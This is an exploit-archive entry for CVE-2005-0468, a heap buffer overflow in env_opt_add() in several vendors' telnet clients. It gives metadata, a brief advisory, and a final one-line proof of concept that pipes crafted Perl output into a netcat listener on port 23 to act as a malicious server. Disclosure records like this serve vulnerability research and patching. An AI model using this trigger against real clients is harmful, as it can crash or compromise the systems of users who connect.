Multiple Vendor Telnet Client - Env_opt_add Heap Buffer Overflow

Author: Gael Delalleau
type: dos
platform: linux
port: 
date_added: 2005-03-28 
date_updated: 2013-05-08 
verified: 1 
codes: CVE-2005-0468;OSVDB-15093 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/12919/info

Multiple vendors' Telnet client applications are reported prone to a remote buffer-overflow vulnerability. This vulnerability reportedly occurs in the 'env_opt_add()' function in the 'telnet.c' source file, which is apparently common source for all the affected vendors.

A remote attacker may exploit this vulnerability to execute arbitrary code on some of the affected platforms in the context of a user that is using the vulnerable Telnet client to connect to a malicious server.

perl -e 'print "\377", "\372\42\3\377\377\3\3" x 43, "\377\360"' | nc -l 23